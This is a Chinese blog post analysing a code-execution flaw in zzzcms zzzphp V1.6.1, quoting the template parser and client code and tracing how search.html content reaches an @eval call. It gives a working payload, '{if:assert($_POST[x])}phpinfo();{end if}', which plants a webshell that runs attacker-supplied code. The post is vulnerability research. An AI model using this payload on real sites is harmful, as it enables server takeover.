【代码执行】【zzzcms zzzphp V1.6.1】

 

关键字:

eval assert preg_replace call_user_func call_user_func_array等

代码分析:

搜索eval关键字inc/zzz_template.php中

 

class ParserTemplate {
    
        $zcontent = $this->parserIfLabel( $zcontent ); // IF语句
        
    }

function parserIfLabel( $zcontent ) {                
    @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}

在inc/zzz_client.php中

if ($location=='user'){ 
$user_tpl='';$logintype='';$backurl='';
$act=getform('act','get');
$GLOBALS['logintype']=$logintype=getform('type','get');
$GLOBALS['backurl']=$backurl=getform('backurl','get');
if (empty($act)){
$path=geturl_path();
if(SITE_PATH=='/'){
$act=defined('ISWAP') ? $path[2] : $path[1];
}else{
$act=defined('ISWAP') ? $path[3] : $path[2];
}
}
$uid=get_session('uid');
$gid=get_session('gid');
$GLOBALS['sid']='-1';
$GLOBALS['tid']='-1';
$GLOBALS['pid']='-1';
if (empty($uid)){
$act=empty($act) ? 'login': $act;
$incfile=TPL_DIR. 'user'.$act.'.html';
switch ($act) {
case "reg":case "forget":case "login":case "login":
$tplfile=TPL_DIR. 'user'.$act.'.html';
$user_tpl = is_file($tplfile) ? load_file($tplfile) : load_file(PLUG_DIR.'template/'.$act.'.tpl');
break;
default:
phpgo(SITE_PATH.'?location=user&act=login&type='.$logintype.'&backurl='.$backurl) ;
}
}else{
$act=isnul($act) ? 'userinfo': $act;
$incfile=TPL_DIR. $act.'.html';
switch ($act) {
case "reg":case "forget":case "login":
phpgo(SITE_PATH.'?user/');
break;
case "userinfo":
$user_tpl = load_file($incfile);
break;
case "loginout":
phpgo(SITE_PATH.'form/?loginout');
break;
default:
$user_tpl = load_file($incfile);
}
}
$GLOBALS['act']=$act;
$zcontent = $user_tpl;
echo $zcontent;
if($logintype=='open'){
$zcontent=str_replace('{zzz:top}','',$zcontent);
$zcontent=str_replace('{zzz:foot}','',$zcontent);

}
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
$zcontent=str_replace('[login:type]',$logintype,$zcontent);
$zcontent=str_replace('[login:backurl]',$backurl,$zcontent);
echo $zcontent;
}elseif($conf['iscache']==1){
$cachefile = RUN_DIR . 'cache/html/'.md5($location.G('sid').G('id')). '.tpl' ;
if (!check_file($cachefile) || time_file($tplfile) > time_file($cachefile) ||time_file($cachefile)> time(date('Y-m-d H:i:s',strtotime('-'.$conf['cachetime'].' hour'))) ){
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
create_file($cachefile, $zcontent);
}else{
echo load_file($cachefile);
}
}elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='form' ||$location=='screen' || $location=='app'){
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
echo $zcontent;
}elseif($conf['runmode']==1 || $location=='sitemap' || $location=='sitexml'){
$url=$_SERVER['REQUEST_URI'];
$url=str_replace($conf['siteext'],'',$url);
$url=str_replace('?','',$url);
$urlarr=splits($url,'/');
if(count($urlarr)>3){
$url='';
foreach( $urlarr as $key=>$value){
$url.= $key<3 ? '/'.$value : '&'. $value;
}
}
$url=ltrim($url,'/');
empty($url) and $url='index';
if($location=='sitemap' || $location=='sitexml') $url=$location;
$htmlpath = HTML_PATH. $conf['htmldir'].$url.'.html';
$htmlfile = HTML_DIR . $conf['htmldir'].$url.'.html';
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
create_file($htmlfile, $zcontent);
//echop ($htmlfile);die;
phpgo($htmlpath);
}else{
error ('404,您访问的页面不存在',SITE_PATH);
}

相当于

1.localtion=user,$zcontent=$user_tpl = is_file($tplfile) ? load_file($tplfile) :  load_file(PLUG_DIR.'template/'.$act.'.tpl')
2.$zcontent = load_file($tplfile,$location)
3.$zcontent = load_file($tplfile,$location)
4.$zcontent = load_file($tplfile,$location)

当localtion=user时,测试未成功。

当location=search时,

$tplfile= TPL_DIR . 'search.html';
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent);
代码调试
localtion=search时,$zcontent是通过load_file()读取的search.html,new一个ParserTemplate类对象,调用parserCommom()函数解析模版

 继续步入parserIfLabel函数,$zcontent经过preg_match_all()函数匹配后得到matches[]数组,对数组的值进行替换等等操作会执行eval函数,当$ifstr传入我们构造的payload时被执行。

payload:

{if:assert($_POST[x])}phpinfo();{end if}

如果没有eval函数的话,$ifstr只是一个变量传入,通过eval函数来让他执行。

@eval(
    if($ifstr)
        {$flag="if";}
    else
        {$flag="else"}
)        

 

function parserIfLabel( $zcontent ) {
        $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
        if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
            $count = count( $matches[ 0 ] );
            for ( $i = 0; $i < $count; $i++ ) {
                $flag = '';
                $out_html = '';
                $ifstr = $matches[ 1 ][ $i ];
                $ifstr = str_replace( '<>', '!=', $ifstr );
                $ifstr = str_replace( 'mod', '%', $ifstr );
                $ifstr1 = cleft( $ifstr, 0, 1 );
                switch ( $ifstr1 ) {
                    case '=':
                        $ifstr = '0' . $ifstr;
                        break;
                    case '{':
                    case '[':
                        $ifstr = "'" . str_replace( "=", "'=", $ifstr );
                        break;
                }
                $ifstr = str_replace( '=', '==', $ifstr );
                $ifstr = str_replace( '===', '==', $ifstr );
                @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
                if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { // 判断是否存在else                
                    switch ( $flag ) {
                        case 'if': // 条件为真
                            if ( isset( $matches2[ 1 ] ) ) {
                                $out_html .= $matches2[ 1 ];
                            }
                            break;
                        case 'else': // 条件为假
                            if ( isset( $matches2[ 2 ] ) ) {
                                $out_html .= $matches2[ 2 ];

                            }
                            break;
                    }
                } elseif ( $flag == 'if' ) {
                    $out_html .= $matches[ 2 ][ $i ];
                }

                // 无限极嵌套解析
                $pattern2 = '/\{if([0-9]):/';
                if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                    $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                    $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                    $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                    $out_html = $this->parserIfLabel( $out_html );
                }

                // 执行替换
                $zcontent = str_replace( $matches[ 0 ][ $i ], $out_html, $zcontent );
            }
        }
        return $zcontent;
    }

 思路:

1.访问/search/

2.通过inc/zzz_client.php中$location=getlocation();方法触发访问search.html

3.传入$tplfile= TPL_DIR . 'search.html'

4.下一步通过load_file()函数读取内容$zcontent,新建类ParserTemplate()对象,调用parserCommom($zcontent)函数解析模版

$zcontent = load_file($tplfile,$location);  

$parser = new ParserTemplate();

$zcontent = $parser->parserCommom($zcontent); // 解析模板

5.parserCommom($zcontent)函数调用parserIfLabel($zcontent)解析内容

function parserCommom( $zcontent ) {
    $zcontent = $this->parserIfLabel( $zcontent ); 
}

6.parserIfLabel($zcontent)函数将内容通过preg_match_all()函数进行匹配,将结果传给$ifstr,再对$ifstr处理,通过@eval()执行$ifstr

@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

 

 

 

 

 

 

 
posted @ 2023-10-25 10:47  任尔东西南北风  阅读(121)  评论(0)    收藏  举报